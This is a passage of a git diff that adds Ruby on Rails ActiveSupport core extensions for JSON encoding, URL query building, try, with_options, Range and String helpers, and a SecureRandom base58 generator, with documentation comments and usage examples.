+    finite? ? self : nil
+  end
+end
+
+class BigDecimal
+  # A BigDecimal would be naturally represented as a JSON number. Most libraries,
+  # however, parse non-integer JSON numbers directly as floats. Clients using
+  # those libraries would get in general a wrong number and no way to recover
+  # other than manually inspecting the string with the JSON code itself.
+  #
+  # That's why a JSON string is returned. The JSON literal is not numeric, but
+  # if the other end knows by contract that the data is supposed to be a
+  # BigDecimal, it still has the chance to post-process the string and get the
+  # real value.
+  def as_json(options = nil) #:nodoc:
+    finite? ? to_s : nil
+  end
+end
+
+class Regexp
+  def as_json(options = nil) #:nodoc:
+    to_s
+  end
+end
+
+module Enumerable
+  def as_json(options = nil) #:nodoc:
+    to_a.as_json(options)
+  end
+end
+
+class Range
+  def as_json(options = nil) #:nodoc:
+    to_s
+  end
+end
+
+class Array
+  def as_json(options = nil) #:nodoc:
+    map { |v| options ? v.as_json(options.dup) : v.as_json }
+  end
+end
+
+class Hash
+  def as_json(options = nil) #:nodoc:
+    # create a subset of the hash by applying :only or :except
+    subset = if options
+      if attrs = options[:only]
+        slice(*Array(attrs))
+      elsif attrs = options[:except]
+        except(*Array(attrs))
+      else
+        self
+      end
+    else
+      self
+    end
+
+    Hash[subset.map { |k, v| [k.to_s, options ? v.as_json(options.dup) : v.as_json] }]
+  end
+end
+
+class Time
+  def as_json(options = nil) #:nodoc:
+    if ActiveSupport::JSON::Encoding.use_standard_json_time_format
+      xmlschema(ActiveSupport::JSON::Encoding.time_precision)
+    else
+      %(#{strftime("%Y/%m/%d %H:%M:%S")} #{formatted_offset(false)})
+    end
+  end
+end
+
+class Date
+  def as_json(options = nil) #:nodoc:
+    if ActiveSupport::JSON::Encoding.use_standard_json_time_format
+      strftime("%Y-%m-%d")
+    else
+      strftime("%Y/%m/%d")
+    end
+  end
+end
+
+class DateTime
+  def as_json(options = nil) #:nodoc:
+    if ActiveSupport::JSON::Encoding.use_standard_json_time_format
+      xmlschema(ActiveSupport::JSON::Encoding.time_precision)
+    else
+      strftime("%Y/%m/%d %H:%M:%S %z")
+    end
+  end
+end
+
+class URI::Generic #:nodoc:
+  def as_json(options = nil)
+    to_s
+  end
+end
+
+class Pathname #:nodoc:
+  def as_json(options = nil)
+    to_s
+  end
+end
+
+class Process::Status #:nodoc:
+  def as_json(options = nil)
+    { exitstatus: exitstatus, pid: pid }
+  end
+end
+
+class Exception
+  def as_json(options = nil)
+    to_s
+  end
+end
diff --git a/activesupport/lib/active_support/core_ext/object/to_param.rb b/activesupport/lib/active_support/core_ext/object/to_param.rb
new file mode 100644
index 0000000000..c57488bcbc
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/object/to_param.rb
@@ -0,0 +1,3 @@
+# frozen_string_literal: true
+
+require_relative "to_query"
diff --git a/activesupport/lib/active_support/core_ext/object/to_query.rb b/activesupport/lib/active_support/core_ext/object/to_query.rb
new file mode 100644
index 0000000000..abb461966a
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/object/to_query.rb
@@ -0,0 +1,86 @@
+# frozen_string_literal: true
+
+require "cgi"
+
+class Object
+  # Alias of <tt>to_s</tt>.
+  def to_param
+    to_s
+  end
+
+  # Converts an object into a string suitable for use as a URL query string,
+  # using the given <tt>key</tt> as the param name.
+  def to_query(key)
+    "#{CGI.escape(key.to_param)}=#{CGI.escape(to_param.to_s)}"
+  end
+end
+
+class NilClass
+  # Returns +self+.
+  def to_param
+    self
+  end
+end
+
+class TrueClass
+  # Returns +self+.
+  def to_param
+    self
+  end
+end
+
+class FalseClass
+  # Returns +self+.
+  def to_param
+    self
+  end
+end
+
+class Array
+  # Calls <tt>to_param</tt> on all its elements and joins the result with
+  # slashes. This is used by <tt>url_for</tt> in Action Pack.
+  def to_param
+    collect(&:to_param).join "/"
+  end
+
+  # Converts an array into a string suitable for use as a URL query string,
+  # using the given +key+ as the param name.
+  #
+  #   ['Rails', 'coding'].to_query('hobbies') # => "hobbies%5B%5D=Rails&hobbies%5B%5D=coding"
+  def to_query(key)
+    prefix = "#{key}[]"
+
+    if empty?
+      nil.to_query(prefix)
+    else
+      collect { |value| value.to_query(prefix) }.join "&"
+    end
+  end
+end
+
+class Hash
+  # Returns a string representation of the receiver suitable for use as a URL
+  # query string:
+  #
+  #   {name: 'David', nationality: 'Danish'}.to_query
+  #   # => "name=David&nationality=Danish"
+  #
+  # An optional namespace can be passed to enclose key names:
+  #
+  #   {name: 'David', nationality: 'Danish'}.to_query('user')
+  #   # => "user%5Bname%5D=David&user%5Bnationality%5D=Danish"
+  #
+  # The string pairs "key=value" that conform the query string
+  # are sorted lexicographically in ascending order.
+  #
+  # This method is also aliased as +to_param+.
+  def to_query(namespace = nil)
+    collect do |key, value|
+      unless (value.is_a?(Hash) || value.is_a?(Array)) && value.empty?
+        value.to_query(namespace ? "#{namespace}[#{key}]" : key)
+      end
+    end.compact.sort! * "&"
+  end
+
+  alias_method :to_param, :to_query
+end
diff --git a/activesupport/lib/active_support/core_ext/object/try.rb b/activesupport/lib/active_support/core_ext/object/try.rb
new file mode 100644
index 0000000000..c874691629
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/object/try.rb
@@ -0,0 +1,148 @@
+# frozen_string_literal: true
+
+require "delegate"
+
+module ActiveSupport
+  module Tryable #:nodoc:
+    def try(*a, &b)
+      try!(*a, &b) if a.empty? || respond_to?(a.first)
+    end
+
+    def try!(*a, &b)
+      if a.empty? && block_given?
+        if b.arity == 0
+          instance_eval(&b)
+        else
+          yield self
+        end
+      else
+        public_send(*a, &b)
+      end
+    end
+  end
+end
+
+class Object
+  include ActiveSupport::Tryable
+
+  ##
+  # :method: try
+  #
+  # :call-seq:
+  #   try(*a, &b)
+  #
+  # Invokes the public method whose name goes as first argument just like
+  # +public_send+ does, except that if the receiver does not respond to it the
+  # call returns +nil+ rather than raising an exception.
+  #
+  # This method is defined to be able to write
+  #
+  #   @person.try(:name)
+  #
+  # instead of
+  #
+  #   @person.name if @person
+  #
+  # +try+ calls can be chained:
+  #
+  #   @person.try(:spouse).try(:name)
+  #
+  # instead of
+  #
+  #   @person.spouse.name if @person && @person.spouse
+  #
+  # +try+ will also return +nil+ if the receiver does not respond to the method:
+  #
+  #   @person.try(:non_existing_method) # => nil
+  #
+  # instead of
+  #
+  #   @person.non_existing_method if @person.respond_to?(:non_existing_method) # => nil
+  #
+  # +try+ returns +nil+ when called on +nil+ regardless of whether it responds
+  # to the method:
+  #
+  #   nil.try(:to_i) # => nil, rather than 0
+  #
+  # Arguments and blocks are forwarded to the method if invoked:
+  #
+  #   @posts.try(:each_slice, 2) do |a, b|
+  #     ...
+  #   end
+  #
+  # The number of arguments in the signature must match. If the object responds
+  # to the method the call is attempted and +ArgumentError+ is still raised
+  # in case of argument mismatch.
+  #
+  # If +try+ is called without arguments it yields the receiver to a given
+  # block unless it is +nil+:
+  #
+  #   @person.try do |p|
+  #     ...
+  #   end
+  #
+  # You can also call try with a block without accepting an argument, and the block
+  # will be instance_eval'ed instead:
+  #
+  #   @person.try { upcase.truncate(50) }
+  #
+  # Please also note that +try+ is defined on +Object+. Therefore, it won't work
+  # with instances of classes that do not have +Object+ among their ancestors,
+  # like direct subclasses of +BasicObject+.
+
+  ##
+  # :method: try!
+  #
+  # :call-seq:
+  #   try!(*a, &b)
+  #
+  # Same as #try, but raises a +NoMethodError+ exception if the receiver is
+  # not +nil+ and does not implement the tried method.
+  #
+  #   "a".try!(:upcase) # => "A"
+  #   nil.try!(:upcase) # => nil
+  #   123.try!(:upcase) # => NoMethodError: undefined method `upcase' for 123:Integer
+end
+
+class Delegator
+  include ActiveSupport::Tryable
+
+  ##
+  # :method: try
+  #
+  # :call-seq:
+  #   try(a*, &b)
+  #
+  # See Object#try
+
+  ##
+  # :method: try!
+  #
+  # :call-seq:
+  #   try!(a*, &b)
+  #
+  # See Object#try!
+end
+
+class NilClass
+  # Calling +try+ on +nil+ always returns +nil+.
+  # It becomes especially helpful when navigating through associations that may return +nil+.
+  #
+  #   nil.try(:name) # => nil
+  #
+  # Without +try+
+  #   @person && @person.children.any? && @person.children.first.name
+  #
+  # With +try+
+  #   @person.try(:children).try(:first).try(:name)
+  def try(*args)
+    nil
+  end
+
+  # Calling +try!+ on +nil+ always returns +nil+.
+  #
+  #   nil.try!(:name) # => nil
+  def try!(*args)
+    nil
+  end
+end
diff --git a/activesupport/lib/active_support/core_ext/object/with_options.rb b/activesupport/lib/active_support/core_ext/object/with_options.rb
new file mode 100644
index 0000000000..47766f6012
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/object/with_options.rb
@@ -0,0 +1,82 @@
+# frozen_string_literal: true
+
+require_relative "../../option_merger"
+
+class Object
+  # An elegant way to factor duplication out of options passed to a series of
+  # method calls. Each method called in the block, with the block variable as
+  # the receiver, will have its options merged with the default +options+ hash
+  # provided. Each method called on the block variable must take an options
+  # hash as its final argument.
+  #
+  # Without <tt>with_options</tt>, this code contains duplication:
+  #
+  #   class Account < ActiveRecord::Base
+  #     has_many :customers, dependent: :destroy
+  #     has_many :products,  dependent: :destroy
+  #     has_many :invoices,  dependent: :destroy
+  #     has_many :expenses,  dependent: :destroy
+  #   end
+  #
+  # Using <tt>with_options</tt>, we can remove the duplication:
+  #
+  #   class Account < ActiveRecord::Base
+  #     with_options dependent: :destroy do |assoc|
+  #       assoc.has_many :customers
+  #       assoc.has_many :products
+  #       assoc.has_many :invoices
+  #       assoc.has_many :expenses
+  #     end
+  #   end
+  #
+  # It can also be used with an explicit receiver:
+  #
+  #   I18n.with_options locale: user.locale, scope: 'newsletter' do |i18n|
+  #     subject i18n.t :subject
+  #     body    i18n.t :body, user_name: user.name
+  #   end
+  #
+  # When you don't pass an explicit receiver, it executes the whole block
+  # in merging options context:
+  #
+  #   class Account < ActiveRecord::Base
+  #     with_options dependent: :destroy do
+  #       has_many :customers
+  #       has_many :products
+  #       has_many :invoices
+  #       has_many :expenses
+  #     end
+  #   end
+  #
+  # <tt>with_options</tt> can also be nested since the call is forwarded to its receiver.
+  #
+  # NOTE: Each nesting level will merge inherited defaults in addition to their own.
+  #
+  #   class Post < ActiveRecord::Base
+  #     with_options if: :persisted?, length: { minimum: 50 } do
+  #       validates :content, if: -> { content.present? }
+  #     end
+  #   end
+  #
+  # The code is equivalent to:
+  #
+  #   validates :content, length: { minimum: 50 }, if: -> { content.present? }
+  #
+  # Hence the inherited default for `if` key is ignored.
+  #
+  # NOTE: You cannot call class methods implicitly inside of with_options.
+  # You can access these methods using the class name instead:
+  #
+  #   class Phone < ActiveRecord::Base
+  #     enum phone_number_type: [home: 0, office: 1, mobile: 2]
+  #
+  #     with_options presence: true do
+  #       validates :phone_number_type, inclusion: { in: Phone.phone_number_types.keys }
+  #     end
+  #   end
+  #
+  def with_options(options, &block)
+    option_merger = ActiveSupport::OptionMerger.new(self, options)
+    block.arity.zero? ? option_merger.instance_eval(&block) : block.call(option_merger)
+  end
+end
diff --git a/activesupport/lib/active_support/core_ext/range.rb b/activesupport/lib/active_support/core_ext/range.rb
new file mode 100644
index 0000000000..89bbbfcb81
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/range.rb
@@ -0,0 +1,6 @@
+# frozen_string_literal: true
+
+require_relative "range/conversions"
+require_relative "range/include_range"
+require_relative "range/overlaps"
+require_relative "range/each"
diff --git a/activesupport/lib/active_support/core_ext/range/conversions.rb b/activesupport/lib/active_support/core_ext/range/conversions.rb
new file mode 100644
index 0000000000..37868f5875
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/range/conversions.rb
@@ -0,0 +1,33 @@
+# frozen_string_literal: true
+
+module ActiveSupport::RangeWithFormat
+  RANGE_FORMATS = {
+    db: Proc.new { |start, stop| "BETWEEN '#{start.to_s(:db)}' AND '#{stop.to_s(:db)}'" }
+  }
+
+  # Convert range to a formatted string. See RANGE_FORMATS for predefined formats.
+  #
+  #   range = (1..100)           # => 1..100
+  #
+  #   range.to_s                 # => "1..100"
+  #   range.to_s(:db)            # => "BETWEEN '1' AND '100'"
+  #
+  # == Adding your own range formats to to_s
+  # You can add your own formats to the Range::RANGE_FORMATS hash.
+  # Use the format name as the hash key and a Proc instance.
+  #
+  #   # config/initializers/range_formats.rb
+  #   Range::RANGE_FORMATS[:short] = ->(start, stop) { "Between #{start.to_s(:db)} and #{stop.to_s(:db)}" }
+  def to_s(format = :default)
+    if formatter = RANGE_FORMATS[format]
+      formatter.call(first, last)
+    else
+      super()
+    end
+  end
+
+  alias_method :to_default_s, :to_s
+  alias_method :to_formatted_s, :to_s
+end
+
+Range.prepend(ActiveSupport::RangeWithFormat)
diff --git a/activesupport/lib/active_support/core_ext/range/each.rb b/activesupport/lib/active_support/core_ext/range/each.rb
new file mode 100644
index 0000000000..cdff6393d7
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/range/each.rb
@@ -0,0 +1,23 @@
+# frozen_string_literal: true
+
+module ActiveSupport
+  module EachTimeWithZone #:nodoc:
+    def each(&block)
+      ensure_iteration_allowed
+      super
+    end
+
+    def step(n = 1, &block)
+      ensure_iteration_allowed
+      super
+    end
+
+    private
+
+      def ensure_iteration_allowed
+        raise TypeError, "can't iterate from #{first.class}" if first.is_a?(Time)
+      end
+  end
+end
+
+Range.prepend(ActiveSupport::EachTimeWithZone)
diff --git a/activesupport/lib/active_support/core_ext/range/include_range.rb b/activesupport/lib/active_support/core_ext/range/include_range.rb
new file mode 100644
index 0000000000..7ba1011921
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/range/include_range.rb
@@ -0,0 +1,25 @@
+# frozen_string_literal: true
+
+module ActiveSupport
+  module IncludeWithRange #:nodoc:
+    # Extends the default Range#include? to support range comparisons.
+    #  (1..5).include?(1..5) # => true
+    #  (1..5).include?(2..3) # => true
+    #  (1..5).include?(2..6) # => false
+    #
+    # The native Range#include? behavior is untouched.
+    #  ('a'..'f').include?('c') # => true
+    #  (5..9).include?(11) # => false
+    def include?(value)
+      if value.is_a?(::Range)
+        # 1...10 includes 1..9 but it does not include 1..10.
+        operator = exclude_end? && !value.exclude_end? ? :< : :<=
+        super(value.first) && value.last.send(operator, last)
+      else
+        super
+      end
+    end
+  end
+end
+
+Range.prepend(ActiveSupport::IncludeWithRange)
diff --git a/activesupport/lib/active_support/core_ext/range/overlaps.rb b/activesupport/lib/active_support/core_ext/range/overlaps.rb
new file mode 100644
index 0000000000..f753607f8b
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/range/overlaps.rb
@@ -0,0 +1,10 @@
+# frozen_string_literal: true
+
+class Range
+  # Compare two ranges and see if they overlap each other
+  #  (1..5).overlaps?(4..6) # => true
+  #  (1..5).overlaps?(7..9) # => false
+  def overlaps?(other)
+    cover?(other.first) || other.cover?(first)
+  end
+end
diff --git a/activesupport/lib/active_support/core_ext/regexp.rb b/activesupport/lib/active_support/core_ext/regexp.rb
new file mode 100644
index 0000000000..efbd708aee
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/regexp.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+class Regexp #:nodoc:
+  def multiline?
+    options & MULTILINE == MULTILINE
+  end
+
+  def match?(string, pos = 0)
+    !!match(string, pos)
+  end unless //.respond_to?(:match?)
+end
diff --git a/activesupport/lib/active_support/core_ext/securerandom.rb b/activesupport/lib/active_support/core_ext/securerandom.rb
new file mode 100644
index 0000000000..b4a491f5fd
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/securerandom.rb
@@ -0,0 +1,25 @@
+# frozen_string_literal: true
+
+require "securerandom"
+
+module SecureRandom
+  BASE58_ALPHABET = ("0".."9").to_a + ("A".."Z").to_a + ("a".."z").to_a - ["0", "O", "I", "l"]
+  # SecureRandom.base58 generates a random base58 string.
+  #
+  # The argument _n_ specifies the length, of the random string to be generated.
+  #
+  # If _n_ is not specified or is +nil+, 16 is assumed. It may be larger in the future.
+  #
+  # The result may contain alphanumeric characters except 0, O, I and l
+  #
+  #   p SecureRandom.base58 # => "4kUgL2pdQMSCQtjE"
+  #   p SecureRandom.base58(24) # => "77TMHrHJFvFDwodq8w7Ev2m7"
+  #
+  def self.base58(n = 16)
+    SecureRandom.random_bytes(n).unpack("C*").map do |byte|
+      idx = byte % 64
+      idx = SecureRandom.random_number(58) if idx >= 58
+      BASE58_ALPHABET[idx]
+    end.join
+  end
+end
diff --git a/activesupport/lib/active_support/core_ext/string.rb b/activesupport/lib/active_support/core_ext/string.rb
new file mode 100644
index 0000000000..491eec2fc9
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/string.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+require_relative "string/conversions"
+require_relative "string/filters"
+require_relative "string/multibyte"
+require_relative "string/starts_ends_with"
+require_relative "string/inflections"
+require_relative "string/access"
+require_relative "string/behavior"
+require_relative "string/output_safety"
+require_relative "string/exclude"
+require_relative "string/strip"
+require_relative "string/inquiry"
+require_relative "string/indent"
+require_relative "string/zones"
diff --git a/activesupport/lib/active_support/core_ext/string/access.rb b/activesupport/lib/active_support/core_ext/string/access.rb
new file mode 100644
index 0000000000..58591bbaaf
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/string/access.rb
@@ -0,0 +1,106 @@
+# frozen_string_literal: true
+
+class String
+  # If you pass a single integer, returns a substring of one character at that
+  # position. The first character of the string is at position 0, the next at
+  # position 1, and so on. If a range is supplied, a substring containing
+  # characters at offsets given by the range is returned. In both cases, if an
+  # offset is negative, it is counted from the end of the string. Returns +nil+
+  # if the initial offset falls outside the string. Returns an empty string if
+  # the beginning of the range is greater than the end of the string.
+  #
+  #   str = "hello"
+  #   str.at(0)      # => "h"
+  #   str.at(1..3)   # => "ell"
+  #   str.at(-2)     # => "l"
+  #   str.at(-2..-1) # => "lo"
+  #   str.at(5)      # => nil
+  #   str.at(5..-1)  # => ""
+  #
+  # If a Regexp is given, the matching portion of the string is returned.
+  # If a String is given, that given string is returned if it occurs in
+  # the string. In both cases, +nil+ is returned if there is no match.
+  #
+  #   str = "hello"
+  #   str.at(/lo/) # => "lo"
+  #   str.at(/ol/) # => nil
+  #   str.at("lo") # => "lo"
+  #   str.at("ol") # => nil
+  def at(position)
+    self[position]
+  end
+
+  # Returns a substring from the given position to the end of the string.
+  # If the position is negative, it is counted from the end of the string.
+  #
+  #   str = "hello"
+  #   str.from(0)  # => "hello"
+  #   str.from(3)  # => "lo"
+  #   str.from(-2) # => "lo"
+  #
+  # You can mix it with +to+ method and do fun things like:
+  #
+  #   str = "hello"
+  #   str.from(0).to(-1) # => "hello"
+  #   str.from(1).to(-2) # => "ell"
+  def from(position)
+    self[position..-1]
+  end
+
+  # Returns a substring from the beginning of the string to the given position.
+  # If the position is negative, it is counted from the end of the string.
+  #
+  #   str = "hello"
+  #   str.to(0)  # => "h"
+  #   str.to(3)  # => "hell"
+  #   str.to(-2) # => "hell"
+  #
+  # You can mix it with +from+ method and do fun things like:
+  #
+  #   str = "hello"
+  #   str.from(0).to(-1) # => "hello"
+  #   str.from(1).to(-2) # => "ell"
+  def to(position)
+    self[0..position]
+  end
+
+  # Returns the first character. If a limit is supplied, returns a substring
+  # from the beginning of the string until it reaches the limit value. If the
+  # given limit is greater than or equal to the string length, returns a copy of self.
+  #
+  #   str = "hello"
+  #   str.first    # => "h"
+  #   str.first(1) # => "h"
+  #   str.first(2) # => "he"
+  #   str.first(0) # => ""
+  #   str.first(6) # => "hello"
+  def first(limit = 1)
+    if limit == 0
+      ""
+    elsif limit >= size
+      dup
+    else
+      to(limit - 1)
+    end
+  end
+
+  # Returns the last character of the string. If a limit is supplied, returns a substring
+  # from the end of the string until it reaches the limit value (counting backwards). If
+  # the given limit is greater than or equal to the string length, returns a copy of self.
+  #
+  #   str = "hello"
+  #   str.last    # => "o"
+  #   str.last(1) # => "o"
+  #   str.last(2) # => "lo"
+  #   str.last(0) # => ""
+  #   str.last(6) # => "hello"
+  def last(limit = 1)
+    if limit == 0
+      ""
+    elsif limit >= size
+      dup
+    else
+      from(-limit)
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/core_ext/string/behavior.rb b/activesupport/lib/active_support/core_ext/string/behavior.rb
new file mode 100644
index 0000000000..35a5aa7840
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/string/behavior.rb
@@ -0,0 +1,8 @@
+# frozen_string_literal: true
+
+class String
+  # Enables more predictable duck-typing on String-like classes. See <tt>Object#acts_like?</tt>.
+  def acts_like_string?
+    true
+  end
+end
diff --git a/activesupport/lib/active_support/core_ext/string/conversions.rb b/activesupport/lib/active_support/core_ext/string/conversions.rb
new file mode 100644
index 0000000000..f8f6524b2b
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/string/conversions.rb
@@ -0,0 +1,59 @@
+# frozen_string_literal: true
+
+require "date"
+require_relative "../time/calculations"
+
+class String
+  # Converts a string to a Time value.
+  # The +form+ can be either :utc or :local (default :local).
+  #
+  # The time is parsed using Time.parse method.
+  # If +form+ is :local, then the time is in the system timezone.
+  # If the date part is missing then the current date is used and if
+  # the time part is missing then it is assumed to be 00:00:00.
+  #
+  #   "13-12-2012".to_time               # => 2012-12-13 00:00:00 +0100
+  #   "06:12".to_time                    # => 2012-12-13 06:12:00 +0100
+  #   "2012-12-13 06:12".to_time         # => 2012-12-13 06:12:00 +0100
+  #   "2012-12-13T06:12".to_time         # => 2012-12-13 06:12:00 +0100
+  #   "2012-12-13T06:12".to_time(:utc)   # => 2012-12-13 06:12:00 UTC
+  #   "12/13/2012".to_time               # => ArgumentError: argument out of range
+  def to_time(form = :local)
+    parts = Date._parse(self, false)
+    used_keys = %i(year mon mday hour min sec sec_fraction offset)
+    return if (parts.keys & used_keys).empty?
+
+    now = Time.now
+    time = Time.new(
+      parts.fetch(:year, now.year),
+      parts.fetch(:mon, now.month),
+      parts.fetch(:mday, now.day),
+      parts.fetch(:hour, 0),
+      parts.fetch(:min, 0),
+      parts.fetch(:sec, 0) + parts.fetch(:sec_fraction, 0),
+      parts.fetch(:offset, form == :utc ? 0 : nil)
+    )
+
+    form == :utc ? time.utc : time.to_time
+  end
+
+  # Converts a string to a Date value.
+  #
+  #   "1-1-2012".to_date   # => Sun, 01 Jan 2012
+  #   "01/01/2012".to_date # => Sun, 01 Jan 2012
+  #   "2012-12-13".to_date # => Thu, 13 Dec 2012
+  #   "12/13/2012".to_date # => ArgumentError: invalid date
+  def to_date
+    ::Date.parse(self, false) unless blank?
+  end
+
+  # Converts a string to a DateTime value.
+  #
+  #   "1-1-2012".to_datetime            # => Sun, 01 Jan 2012 00:00:00 +0000
+  #   "01/01/2012 23:59:59".to_datetime # => Sun, 01 Jan 2012 23:59:59 +0000
+  #   "2012-12-13 12:50".to_datetime    # => Thu, 13 Dec 2012 12:50:00 +0000
+  #   "12/13/2012".to_datetime          # => ArgumentError: invalid date
+  def to_datetime
+    ::DateTime.parse(self, false) unless blank?
+  end
+end
diff --git a/activesupport/lib/active_support/core_ext/string/exclude.rb b/activesupport/lib/active_support/core_ext/string/exclude.rb
new file mode 100644
index 0000000000..8e462689f1
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/string/exclude.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+class String
+  # The inverse of <tt>String#include?</tt>. Returns true if the string
+  # does not include the other string.
+  #
+  #   "hello".exclude? "lo" # => false
+  #   "hello".exclude? "ol" # => true
+  #   "hello".exclude? ?h   # => false
+  def exclude?(string)
+    !include?(string)
+  end
+end
diff --git a/activesupport/lib/active_support/core_ext/string/filters.rb b/activesupport/lib/active_support/core_ext/string/filters.rb
new file mode 100644
index 0000000000..66e721eea3
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/string/filters.rb
@@ -0,0 +1,104 @@
+# frozen_string_literal: true
+
+class String
+  # Returns the string, first removing all whitespace on both ends of
+  # the string, and then changing remaining consecutive whitespace
+  # groups into one space each.
+  #
+  # Note that it handles both ASCII and Unicode whitespace.
+  #
+  #   %{ Multi-line
+  #      string }.squish                   # => "Multi-line string"
+  #   " foo   bar    \n   \t   boo".squish # => "foo bar boo"
+  def squish
+    dup.squish!
+  end
+
+  # Performs a destructive squish. See String#squish.
+  #   str = " foo   bar    \n   \t   boo"
+  #   str.squish!                         # => "foo bar boo"
+  #   str                                 # => "foo bar boo"
+  def squish!
+    gsub!(/[[:space:]]+/, " ")
+    strip!
+    self
+  end
+
+  # Returns a new string with all occurrences of the patterns removed.
+  #   str = "foo bar test"
+  #   str.remove(" test")                 # => "foo bar"
+  #   str.remove(" test", /bar/)          # => "foo "
+  #   str                                 # => "foo bar test"
+  def remove(*patterns)
+    dup.remove!(*patterns)
+  end
+
+  # Alters the string by removing all occurrences of the patterns.
+  #   str = "foo bar test"
+  #   str.remove!(" test", /bar/)         # => "foo "
+  #   str                                 # => "foo "
+  def remove!(*patterns)
+    patterns.each do |pattern|
+      gsub! pattern, ""
+    end
+
+    self
+  end
+
+  # Truncates a given +text+ after a given <tt>length</tt> if +text+ is longer than <tt>length</tt>:
+  #
+  #   'Once upon a time in a world far far away'.truncate(27)
+  #   # => "Once upon a time in a wo..."
+  #
+  # Pass a string or regexp <tt>:separator</tt> to truncate +text+ at a natural break:
+  #
+  #   'Once upon a time in a world far far away'.truncate(27, separator: ' ')
+  #   # => "Once upon a time in a..."
+  #
+  #   'Once upon a time in a world far far away'.truncate(27, separator: /\s/)
+  #   # => "Once upon a time in a..."
+  #
+  # The last characters will be replaced with the <tt>:omission</tt> string (defaults to "...")
+  # for a total length not exceeding <tt>length</tt>:
+  #
+  #   'And they found that many people were sleeping better.'.truncate(25, omission: '... (continued)')
+  #   # => "And they f... (continued)"
+  def truncate(truncate_at, options = {})
+    return dup unless length > truncate_at
+
+    omission = options[:omission] || "..."
+    length_with_room_for_omission = truncate_at - omission.length
+    stop = \
+      if options[:separator]
+        rindex(options[:separator], length_with_room_for_omission) || length_with_room_for_omission
+      else
+        length_with_room_for_omission
+      end
+
+    "#{self[0, stop]}#{omission}"
+  end
+
+  # Truncates a given +text+ after a given number of words (<tt>words_count</tt>):
+  #
+  #   'Once upon a time in a world far far away'.truncate_words(4)
+  #   # => "Once upon a time..."
+  #
+  # Pass a string or regexp <tt>:separator</tt> to specify a different separator of words:
+  #
+  #   'Once<br>upon<br>a<br>time<br>in<br>a<br>world'.truncate_words(5, separator: '<br>')
+  #   # => "Once<br>upon<br>a<br>time<br>in..."
+  #
+  # The last characters will be replaced with the <tt>:omission</tt> string (defaults to "..."):
+  #
+  #   'And they found that many people were sleeping better.'.truncate_words(5, omission: '... (continued)')
+  #   # => "And they found that many... (continued)"
+  def truncate_words(words_count, options = {})
+    sep = options[:separator] || /\s+/
+    sep = Regexp.escape(sep.to_s) unless Regexp === sep
+    if self =~ /\A((?>.+?#{sep}){#{words_count - 1}}.+?)#{sep}.*/m
+      $1 + (options[:omission] || "...")
+    else
+      dup
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/core_ext/string/indent.rb b/activesupport/lib/active_support/core_ext/string/indent.rb
new file mode 100644
index 0000000000..af9d181487
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/string/indent.rb
@@ -0,0 +1,45 @@
+# frozen_string_literal: true
+
+class String
+  # Same as +indent+, except it indents the receiver in-place.
+  #
+  # Returns the indented string, or +nil+ if there was nothing to indent.
+  def indent!(amount, indent_string = nil, indent_empty_lines = false)
+    indent_string = indent_string || self[/^[ \t]/] || " "
+    re = indent_empty_lines ? /^/ : /^(?!$)/
+    gsub!(re, indent_string * amount)
+  end
+
+  # Indents the lines in the receiver:
+  #
+  #   <<EOS.indent(2)
+  #   def some_method
+  #     some_code
+  #   end
+  #   EOS
+  #   # =>
+  #     def some_method
+  #       some_code
+  #     end
+  #
+  # The second argument, +indent_string+, specifies which indent string to
+  # use. The default is +nil+, which tells the method to make a guess by
+  # peeking at the first indented line, and fallback to a space if there is
+  # none.
+  #
+  #   "  foo".indent(2)        # => "    foo"
+  #   "foo\n\t\tbar".indent(2) # => "\t\tfoo\n\t\t\t\tbar"
+  #   "foo".indent(2, "\t")    # => "\t\tfoo"
+  #
+  # While +indent_string+ is typically one space or tab, it may be any string.
+  #
+  # The third argument, +indent_empty_lines+, is a flag that says whether
+  # empty lines should be indented. Default is false.
+  #
+  #   "foo\n\nbar".indent(2)            # => "  foo\n\n  bar"
+  #   "foo\n\nbar".indent(2, nil, true) # => "  foo\n  \n  bar"
+  #
+  def indent(amount, indent_string = nil, indent_empty_lines = false)
+    dup.tap { |_| _.indent!(amount, indent_string, indent_empty_lines) }
+  end
+end
diff --git a/activesupport/lib/active_support/core_ext/string/inflections.rb b/activesupport/lib/active_support/core_ext/string/inflections.rb
new file mode 100644
index 0000000000..846600c623
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/string/inflections.rb
@@ -0,0 +1,252 @@
+# frozen_string_literal: true
+
+require_relative "../../inflector/methods"
+require_relative "../../inflector/transliterate"
+
+# String inflections define new methods on the String class to transform names for different purposes.
+# For instance, you can figure out the name of a table from the name of a class.
+#
+#   'ScaleScore'.tableize # => "scale_scores"
+#
+class String
+  # Returns the plural form of the word in the string.
+  #
+  # If the optional parameter +count+ is specified,
+  # the singular form will be returned if <tt>count == 1</tt>.
+  # For any other value of +count+ the plural will be returned.
+  #
+  # If the optional parameter +locale+ is specified,
+  # the word will be pluralized as a word of that language.
+  # By default, this parameter is set to <tt>:en</tt>.
+  # You must define your own inflection rules for languages other than English.
+  #
+  #   'post'.pluralize             # => "posts"
+  #   'octopus'.pluralize          # => "octopi"
+  #   'sheep'.pluralize            # => "sheep"
+  #   'words'.pluralize            # => "words"
+  #   'the blue mailman'.pluralize # => "the blue mailmen"
+  #   'CamelOctopus'.pluralize     # => "CamelOctopi"
+  #   'apple'.pluralize(1)         # => "apple"
